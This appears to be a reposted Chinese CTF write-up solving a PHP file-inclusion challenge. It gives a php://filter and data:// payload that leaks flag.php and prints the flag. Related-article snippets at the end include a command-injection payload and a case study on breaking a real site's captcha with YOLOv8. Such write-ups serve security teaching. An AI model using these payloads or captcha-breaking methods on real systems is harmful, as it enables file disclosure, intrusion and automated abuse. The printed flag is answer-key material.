攻防世界-web-fileclude(二)

news2025/1/21 1:04:31

题目

image.png
image.png

解题

题目源码

WRONG WAY! <?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET["file1"]) && isset($_GET["file2"]))
{
    $file1 = $_GET["file1"];
    $file2 = $_GET["file2"];
    if(!empty($file1) && !empty($file2))
    {
        if(file_get_contents($file2) === "hello ctf")
        {
            include($file1);
        }
    }
    else
        die("NONONO");
}

了解函数

empty()函数

image.png

isset()函数

image.png

empty() 与 isset() 函数比较

代码举例理解:

<?php
$var = 0;

// 因为 $var 为空,所以计算结果为 true
if (empty($var)) {
  echo '$var is either 0, empty, or not set at all';
}

// 因为 $var 已赋值,所以计算结果为 true
if (isset($var)) {
  echo '$var is set even though it is empty';
}
?>

结果会打印:

$var is either 0, empty, or not set at all
$var is set even though it is empty

file_get_contents函数

image.png

构造payload

分析代码可知,这里需要get传入两个的参数file1和file2
另外,flag应该在flag.php文件里面
然后这里的文件包含的file1是使用php伪函数进行传输的,file2使用的是data://text/plain进行传入的

?file1=php://filter/convert.base64-encode/resource=flag.php&file2=data://text/plain,hello ctf

输入值获取flag

在这里插入图片描述

得到是flag被base64加密的结果,使用进行base64解码:
image.png

cyberpeace{984931e0a9aabff15d5a197faa0c9aad}

提交flag

image.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1667501.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

嵌入式C语言高级教程:实现基于STM32的智能灌溉系统

⬇帮大家整理了单片机的资料 包括stm32的项目合集【源码开发文档】 点击下方蓝字即可领取&#xff0c;感谢支持&#xff01;⬇ 点击领取更多嵌入式详细资料 问题讨论&#xff0c;stm32的资料领取可以私信&#xff01; 智能灌溉系统能够根据土壤湿度和天气预报自动调整灌溉计划&…

记一些CISP-PTE题目解析

0x01 命令执行 直接payload: 127.0.0.1 & whoami&#xff0c;发现可以成功执行whoami命令 然后ls …/ &#xff0c;发现有个key.php文件 尝试用cat命令查看 发现不行被拦截了。&#xff08;其实题目过滤了常用的查看文件的命令 &#xff09; 这里有两种思路&#xff0c;第…

汽车商城系统

文章目录 汽车商城系统一、系统演示二、项目介绍三、部分功能截图四、部分代码展示五、底部获取项目源码&#xff08;9.9&#xffe5;带走&#xff09; 汽车商城系统 一、系统演示 汽车商城 二、项目介绍 该汽车商城系统主要分为前台和后台两大功能模块&#xff0c;共包含两种…

7 Days yo Die 七日杀服务器开服联机教程

1、购买后登录服务器&#xff08;百度搜索莱卡云&#xff09;game.lcayun.com 进入控制面板后会出现正在安装的界面&#xff0c;安装时长约5分钟左右 安装成功后你就可以看到我们的控制台界面 复制服务器ip地址打开游戏➡加入游戏 有两种方法加入游戏 第一种方法&#xff1a;…

JWT生成RSA密钥文档

JWT生成RSA密钥文档 创建jwt文件夹 创建jwt文件夹 进入文件夹 进入jwt文件夹&#xff0c;输入cmd&#xff0c;如图 3、生成公钥私钥 keytool -genkeypair -alias pdm -keyalg RSA -keypass Gacrnd#123 -keystore pdm.jks -storepass Gacrnd#123 -alias&#xff1a;密钥的别名…

Nginx 基于域名的虚拟主机的配置实验

目录 虚拟主机解释 实验介绍 修改配置文件 一&#xff1a;创建2个虚拟主机的网页根目录 二&#xff1a;修改2个虚拟主机的首页的内容 三&#xff1a;真实机器添加域名解析记录 四&#xff1a;测试 虚拟主机解释 Nginx的虚拟主机是指一台服务器上同时托管多个网站的能力。…

2024年5月发布的SparkyLinux 8使用的是Debian 13 trixie 的更新源

2024年5月发布的SparkyLinux 8使用的是Debian 13 trixie 的更新源&#xff0c;然后我改了清华对应的更新源&#xff0c;更新成功。纯粹是测试&#xff0c;具体应以官网信息为主。

DRF 纯净版创建使用

【一】介绍 &#xff08;1&#xff09;使用原因 在Django中&#xff0c;contrib 包包含了许多内置的app和中间件&#xff0c;如auth、sessions、admin等&#xff0c;这些app在创建新的Django项目时默认是包含在内的。然而&#xff0c;在开发RESTful API时&#xff0c;可能不需…

线下线上陪玩APP小程序H5搭建设计-源码交付,支持二开!

一、电竞陪玩系统APP的概念 电竞陪玩系统APP是一种专门为电子竞技玩家提供服务的平台。通过这个平台&#xff0c;玩家可以找到专业的电竞陪玩者&#xff0c;他们可以帮助玩家提升游戏技能&#xff0c;提供游戏策略建议&#xff0c;甚至陪伴玩家一起进行游戏。这种服务不仅可以提…

阿里云部署ChatGLM-6B及ptuning微调教程

一、模型部署 1.进入阿里云人工智能平台PAI。 2.申请免费试用。 3.打开交互式建模 PAI-DSW。 4.新建实例。 5.填写配置。 6.实例准备完成后点击打开。 7.打开实例后点击Teminal。 8.在Teminal中依次输入以下命令并执行。 apt-get update apt-get install git-lfs git lfs ins…

某票星球网图标点选验证码YOLOV8识别案例

注意,本文只提供学习的思路,严禁违反法律以及破坏信息系统等行为,本文只提供思路 如有侵犯,请联系作者下架 图标点选验证码大家都不陌生了,我们来看下数据集 引言与个人想法 先说结论,本文采用的方法能够达到99的准确率,效果图如下 做图标点选其实方法有很多,有的…

活字格中如何打开指定文件夹

如何使用活字格打开指定文件夹 活字格是一款功能强大的电子表格软件&#xff0c;除了基本的表格计算功能之外&#xff0c;还提供了丰富的扩展功能&#xff0c;可以用来实现各种自动化操作。例如&#xff0c;我们可以使用活字格来打开指定的文件夹。 以下是具体的操作步骤&…

完整性验证器:迈向 Starknet 超高可扩展性的一大步

原文&#xff1a;https://www.starknet.io/en/content/the-integrity-verifier-a-leap-toward-starknet-hyperscaling&#xff1b;https://www.starknet.io/en/ecosystem/grant 编译&#xff1a;TinTinLand 核心观点 由 Herodotus 开发的完整性验证器&#xff0c;使开发者能够…

字节跳动后端青训营笔记:Go语言进阶

1.语言进阶&依赖管理 1.1 语言进阶 从并发编程的视角了解Go高性能的本质。 1.1.1 并发&并行 在单核CPU下&#xff0c;线程实际还是串行执行的。操作系统中有一个组件叫做任务调度器&#xff0c;它将CPU的时间片(window下最小约为15毫秒)分给不同的程序使用&#xff0…

Spring-依赖查找

依赖查找 根据名称进行查找 实时查找 BeanFactory beanFactory new ClassPathXmlApplicationContext("beans.xml"); Object bean beanFactory.getBean("personHolder"); System.out.println(bean);xml如下: <bean id"person" class&qu…

数据结构与算法===递归

文章目录 定义适用场景爬楼梯代码实现 小结 定义 递归(Recursion)是指函数的自身调用。 这个算法演变为了程序员之间的梗&#xff0c;所表达的意思近似于“套娃”&#xff0c;表示不断重复引用别人的话从而产生循环。 适用场景 这个应该很多的&#xff0c;像一些树的遍历&am…

谷歌最强AI——Gemini免费使用2个月教程,性能抗衡GPT4

谷歌最强AI——Gemini采用的是Ultra 1.0大模型&#xff0c;功能非常强大&#xff0c;媲美GPT-4&#xff01;谷歌用户只需要绑定虚拟卡&#xff0c;就可以免费使用2个月&#xff01; 谷歌昨夜官宣四项AI新进展&#xff01; 1、最大、功能最强的大模型版本Gemini Ultra 1.0全面…

【Arduino】ESP32/ESP8266 JSON格式解析

目录 1、JSON 2、JSON语法格式 基本概念&#xff1a; 语法规则&#xff1a; 数据类型&#xff1a; 示例&#xff1a; 3、JSON解析 单一对象JSON解析&#xff08;无嵌套&#xff09; JSON数组解析 使用ArduinoJson官网在线工具解析JSON信息 ESP8266闪存存储的JSON解析…

数据分析中大数据和云计算

大数据和云计算 前言一、大数据二、大数据定义三、数据存储单位四、大数据存储技术五、大数据应用技术六、大数据特征七、数据容量八、数据类型的多样性结构化数据半结构化数据非结构化数据 九、获取数据的速度十、可变性十一、真实性十二、复杂性十三、价值十四、云计算十五、…

模型推导:BG/NBD(预测用户生命周期(CLV)模型)

CLV&#xff08;Customer Lifetime Value&#xff09;指的是客户生命周期价值&#xff0c;用以衡量客户在一段时间内对企业有多大的价值。企业对每个用户的流失与否、在未来时间是否会再次购买&#xff0c;还会再购买多少次才会流失等问题感兴趣&#xff0c;本文中的BG/NBD模型…